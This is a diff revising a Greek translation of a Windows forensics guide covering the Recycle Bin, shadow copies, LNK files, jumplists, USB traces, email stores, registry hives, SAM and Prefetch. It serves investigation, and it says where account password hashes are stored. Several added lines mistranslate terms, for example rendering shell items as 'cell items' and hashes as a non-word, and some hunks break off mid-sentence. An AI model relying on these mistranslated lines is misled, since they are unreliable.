διαγράφεται σε αυτόν τον φάκελο δημιουργούνται 2 συγκεκριμένα αρχεία: -* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής) +* `$I{id}`: Πληροφορίες αρχείου (ημερομηνία διαγραφής} * `$R{id}`: Περιεχόμενο του αρχείου ![](<../../../.gitbook/assets/image (486).png>) -Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να πάρετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής τους (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista – Win10). +Έχοντας αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να λάβετε την αρχική διεύθυνση των διαγραμμένων αρχείων και την ημερομηνία διαγραφής (χρησιμοποιήστε το `rifiuti-vista.exe` για Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` @@ -54,13 +58,13 @@ ### Αντίγραφα Σκιών Όγκου -Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν αυτά χρησιμοποιούνται. +Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει αντίγραφα ασφαλείας ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμα και όταν χρησιμοποιούνται. -Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στον φάκελο `\System Volume Information` στη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από τα **UIDs** που φαίνονται στην παρακάτω εικόνα: +Αυτά τα αντίγραφα ασφαλείας συνήθως βρίσκονται στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομά τους αποτελείται από **UIDs** που φαίνονται στην παρακάτω εικόνα: ![](<../../../.gitbook/assets/image (520).png>) -Με την επισύναψη της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντιγράφου σκιάς. +Με την τοποθέτηση της εικόνας ανάκτησης με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμα και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας της σκιάς. ![](<../../../.gitbook/assets/image (521).png>) @@ -74,26 +78,26 @@ Μπορείτε να βρείτε τα αρχεία αυτόματης αποθήκευσης του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Στοιχεία Shell +## Στοιχεία Κελιών -Ένα στοιχείο του κελύφους είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο. +Ένα στοιχείο κελιού είναι ένα στοιχείο που περιέχει πληροφορίες για το πώς να έχετε πρόσβαση σε ένα άλλο αρχείο. ### Πρόσφατα Έγγραφα (LNK) -Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** στα παρακάτω μέρη: +Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε: * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση προς τον φάκελο, προς τον γονικό φάκελο και τον προγονικό φάκελο. +Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης μια σύνδεση στον φάκελο, στον γονικό φάκελο και στον προγονικό φάκελο. -Αυτά τα αυτόματα δημιουργημένα αρχεία συνδέσμων **περιέχουν πληροφορίες για την προέλευση** όπως αν είναι **αρχείο** ή **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου προορισμού**. Αυτές οι πληροφορίες μπορούν να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που αφαιρεθούν. +Αυτά τα αρχεία συντομεύσεων που δημιουργούνται αυτόματα περιέχουν πληροφορίες σχετικά με την προέλευση, όπως αν είναι **αρχείο** **ή** φάκελος, **χρόνοι MAC** του αρχείου αυτού, **πληροφορίες όγκου** για το πού αποθηκεύεται το αρχείο και **φάκελος του αρχείου-στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που διαγραφούν. -Επίσης, η **ημερομηνία δημιουργίας του αρχείου συνδέσμου** είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** του αρχείου συνδέσμου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. +Επίσης, η **ημερομηνία δημιουργίας της σύνδεσης** αρχείου είναι η πρώτη **φορά** που το αρχικό αρχείο **χρησιμοποιήθηκε** και η **ημερομηνία τροποποίησης** της σύνδεσης αρχείου είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το [**LinkParser**](http://4discovery.com/our-tools/). -Σε αυτά τα εργαλεία θα βρείτε **2 σύνολα** χρονοσημάτων: +Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονοσφραγίδων: * **Πρώτο Σύνολο:** 1. FileModifiedDate @@ -104,77 +108,120 @@ 2. LinkAccessDate 3. LinkCreationDate. -Το πρώτο σύνολο χρονοσημάτων αναφέρεται στα **χρονοσήματα του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στα **χρονοσήματα του συνδεδεμένου αρχείου**. +Το πρώτο σύνολο χρονοσφραγίδων αναφέρεται στις **χρονοσφραγίδες του ίδιου του αρχείου**. Το δεύτερο σύνολο αναφέρεται στις **χρονοσφραγίδες του συνδεδεμένου αρχείου**. Μπορείτε να λάβετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο γραμμής εντολών των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` -Σε αυτήν την περίπτωση, οι πληροφορίες θα αποθηκευτούν σε ένα αρχείο CSV. - ### Jumplists -Αυτές είναι οι πρόσφατες αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. +Αυτά είναι τα πρόσφατα αρχεία που εμφανίζονται ανά εφαρμογή. Είναι η λίστα με τα **πρόσφατα αρχεία που χρησιμοποιήθηκαν από μια εφαρμογή** στην οποία μπορείτε να έχετε πρόσβαση. Μπορεί να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. -Οι **αυτόματα δημιουργημένες jumplists** αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. +Τα **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Τα jumplists ονομάζονται με τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. -Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή έχει συμβεί κάτι **σημαντικό** με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο) +Τα προσαρμοσμένα jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** συνέβη με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο). -Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει το **πρώτο χρόνο πρόσβασης στο αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**. +Ο **χρόνος δημιουργίας** οποιουδήποτε jumplist υποδεικνύει την **πρώτη φορά που ανακτήθηκε το αρχείο** και ο **χρόνος τροποποίησης την τελευταία φορά**. -Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Μπορείτε να επιθεωρήσετε τα jumplists χρησιμοποιώντας το [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../.gitbook/assets/image (474).png>) -(_Σημειώστε ότι οι χρονοσφραγίδες που παρέχονται από το JumplistExplorer αναφέρονται στο ίδιο το αρχείο jumplist_) +(_Σημείωση ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το ίδιο το αρχείο jumplist_) ### Shellbags -[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι οι shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Χρήση των USB των Windows +## Χρήση USB στα Windows -Είναι δυνατό να ανιχνευθεί η χρήση μιας συσκευής USB χάρη στη δημιουργία: +Είναι δυνατό να αναγνωριστεί ότι χρησιμοποιήθηκε μια συσκευή USB χάρη στη δημιουργία: -* Φακέλου Πρόσφατων Windows -* Φακέλου Πρόσφατων Microsoft Office +* Φακέλου Windows Recent +* Φακέλου Microsoft Office Recent * Jumplists Σημειώστε ότι ορισμένα αρχεία LNK αντί να δείχνουν στην αρχική διαδρομή, δείχνουν στον φάκελο WPDNSE: ![](<../../../.gitbook/assets/image (476).png>) -Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των αρχικών, οπότε δεν θα επιβιώσουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag. +Τα αρχεία στον φάκελο WPDNSE είναι αντίγραφα των πρωτότυπων, οπότε δεν επιβιώνουν μετά από επανεκκίνηση του υπολογιστή και το GUID προέρχεται από ένα shellbag. -### Πληροφορίες Καταχώρισης Μητρώου +### Πληροφορίες Μητρώου -[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά του μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB. +[Ελέγξτε αυτήν τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με συνδεδεμένες συσκευές USB. ### setupapi -Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονοσφραγίδες σχετικά με το πότε παρήχθη η σύνδεση USB (αναζητήστε το `Section start`). +Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με πότε παράχθηκε η σύνδεση USB (αναζητήστε το `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα. +Το [**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να λάβετε πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα. ![](<../../../.gitbook/assets/image (483).png>) ### Καθαρισμός Plug and Play -Η προγραμματισμένη εργασία γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει αδρανείς για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να διαγ +Η προγραμματισμένη εργασία γνωστή ως 'Plug and Play Cleanup' σχεδιάστηκε κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης πακέτου οδηγών, διαδικτυακές πηγές υποδηλώνουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες μπορεί να υπόκεινται σε διαγραφή. + +Η εργασία βρίσκεται στην ακόλουθη διαδρομή: +`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. + +Παρέχεται στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας: +![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) + +**Βασικά Στοιχεία και Ρυθμίσεις της Εργασίας:** +- **pnpclean.dll**: Αυτή η DLL είναι υπεύθυνη για την πραγματική διαδικασία καθαρισμού. +- **UseUnifiedSchedulingEngine**: Ορίζεται σε `TRUE`, υποδεικνύοντας τη χρήση της γενικής μηχανής προγραμματισμού εργασιών. +- **MaintenanceSettings**: +- **Περίοδος ('P1M')**: Καθοδηγεί τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής αυτόματης συντήρησης. +- **Προθεσμία ('P2M')**: Οδηγεί τον Προγραμματιστή Εργασιών, αν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια επείγουσας αυτόματης συντήρησης. + +Αυτή η ρύθμιση εξασφαλίζει την τακτική συντήρηση και καθαρισμό των οδηγών, με προβλέψεις για επανάληψη της εργασίας σε περίπτωση συνεχόμενων αποτυχιών. + +**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) + +## Emails + +Τα emails περιέχουν **2 ενδιαφέρουσες μερικές: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως: + +* **Ποιος** έστειλε τα emails (διεύθυνση email, IP, διακομιστές email που έχουν ανακατευτεί στο email) +* **Πότε** αποστάλθηκε το email + +Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων: + +![](<../../../.gitbook/assets/image (484).png>) + +### Εφαρμογή Ηλεκτρονικού Ταχυδρομείου των Windows + +Αυτή η εφαρμογή αποθηκεύει τα emails σε μορφή HTML ή κειμένου. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στον δρόμο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. + +Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` + +**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails. + +### Microsoft Outlook + +Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook θα υπάρχουν κάποια MAPI headers: + +* `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν αποστάλθηκε το email +* `Mapi-Conversation-Index`: Αριθμός παιδιών μηνυμάτων του νήματος και χρονική σήμανση κάθε μηνύματος του νήματος +* `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. +* `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με το MAPI client ( ### Αρχεία OST του Microsoft Outlook -Ένα αρχείο **OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** με μέγιστο μέγεθος **50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορείτε να χρησιμοποιήσετε το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). +Ένα **αρχείο OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν **διακομιστή Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως ένα **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορεί να χρησιμοποιηθεί το [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). ### Ανάκτηση Συνημμένων -Χαμένα συνημμένα μπορεί να ανακτηθούν από: +Τα χαμένα συνημμένα μπορεί να ανακτηθούν από: - Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- Για **IE11 και νεότερες εκδόσεις**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Για **IE11 και νεότερα**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` ### Αρχεία MBOX του Thunderbird @@ -182,41 +229,41 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### Μικρογραφίες Εικόνων -- **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμα και μετά τη διαγραφή τους. -- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελαύνεται μέσω δικτύου μέσω της διαδρομής UNC. -- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικές στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με το όνομα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων. +- **Windows XP και 8-8.1**: Η πρόσβαση σε ένα φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνων, ακόμη και μετά τη διαγραφή τους. +- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν γίνεται πρόσβαση μέσω δικτύου μέσω διαδρομής UNC. +- **Windows Vista και νεότερα**: Οι προεπισκοπήσεις μικρογραφιών είναι κεντρικοποιημένες στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία με τα ονόματα **thumbcache\_xxx.db**. Τα εργαλεία [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) χρησιμοποιούνται για την προβολή αυτών των αρχείων. -### Πληροφορίες Καταγραφής των Windows Registry +### Πληροφορίες Καταγραφής των Windows -Το Windows Registry, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας του συστήματος και των χρηστών, περιέχεται σε αρχεία στις παρακάτω τοποθεσίες: +Το Μητρώο των Windows, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας συστήματος και χρήστη, περιέχεται σε αρχεία στους φακέλους: - `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`. -- `%UserProfile%{User}\NTUSER.DAT` για το `HKEY_CURRENT_USER`. -- Τα Windows Vista και νεότερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής του `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`. -- Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τον διακομιστή Windows 2008 και μετά. +- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`. +- Τα Windows Vista και μεταγενέστερες εκδόσεις δημιουργούν αντίγραφα ασφαλείας των αρχείων καταγραφής `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`. +- Επιπλέον, πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και τα Windows 2008 Server και μετά. ### Εργαλεία -Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής του registry: +Κάποια εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων καταγραφής: -* **Επεξεργαστής Καταγραφής**: Είναι εγκατεστημένο στα Windows. Είναι μια γραφική διεπαφή χρήστη για την περιήγηση στο Windows registry της τρέχουσας συνεδρίας. -* [**Εξερευνητής Καταγραφής**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο καταγραφής και να περιηγηθείτε μέσω του με γραφική διεπαφή. Περιλαμβάνει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου καταγραφής και περιλαμβάνει επεκτάσεις που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο καταγραφή. -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή που μπορεί να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο καταγραφή. +* **Επεξεργαστής Μητρώου**: Είναι εγκατεστημένος στα Windows. Είναι μια γραφική διεπαφή για την περιήγηση στο Μητρώο των Windows της τρέχουσας συνεδρίας. +* [**Εξερευνητής Μητρώου**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε μέσω του με μια γραφική διεπαφή. Περιλαμβάνει επίσης Σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου μητρώου και περιλαμβάνει εξαρτήματα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. ### Ανάκτηση Διαγραμμένου Στοιχείου -Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Καταγραφής**, είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών. +Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει δεν θα αφαιρεθεί. Συνεπώς, χρησιμοποιώντας εργαλεία όπως ο **Εξερευνητής Μητρώου** είναι δυνατή η ανάκτηση αυτών των διαγραμμένων κλειδιών. -### Χρόνος Τελευταίας Εγγραφής +### Τελευταία Ώρα Εγγραφής -Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό στιγμιότυπο** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε. +Κάθε Κλειδί-Τιμή περιέχει ένα **χρονικό σήμα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε. ### SAM -Το αρχείο/hive **SAM** περιέχει τους κατακόρυφους και τους κωδικούς πρόσβασης των χρηστών του συστήματος. +Το αρχείο/κοιτώνας **SAM** περιέχει τις **κατακευές χρηστών, ομάδων και κωδικών πρόσβασης χρηστών** του συστήματος. -Στο `SAM\Domains\Account +Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, το μετρητή σύνδεσης, την πολιτική κωδικού πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να λάβετε τις **κατακευές** χρειάζεστε επίσης το αρχείο/κοιτώνα **SYSTEM**. ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` @@ -224,18 +271,18 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ### Superprefetch -Το **Superprefetch** έχει τον ίδιο στόχο με το prefetch, να **φορτώνει τα προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\ +**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **φορτώνει προγράμματα γρηγορότερα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\ Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`. -Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **ανοιγμένα αρχεία**, το **επίπεδο πρόσβασης** στον **δίσκο**, την **πλήρη διαδρομή**, τα **χρονικά πλαίσια** και τις **χρονοσφραγίδες**. +Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, το **αριθμό** των **εκτελέσεων**, τα **αρχεία** που **άνοιξε**, το **όγκο** που **άρχισε**, την **πλήρη** **διαδρομή**, τα **χρονικά πλαίσια** και τις **σφραγίδες χρόνου**. -Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται από ένα διεργασία**. Εμφανίστηκε στο W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. +Το **System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** που **καταναλώνονται** από ένα διεργασία. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. -Παρέχει τις εξής πληροφορίες: +Παρέχει τις ακόλουθες πληροφορίες: * AppID και Διαδρομή * Χρήστης που εκτέλεσε τη διεργασία @@ -253,18 +300,18 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` ### AppCompatCache (ShimCache) -Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από την **Microsoft** για την αντιμετώπιση θεμάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: +Το **AppCompatCache**, επίσης γνωστό ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας 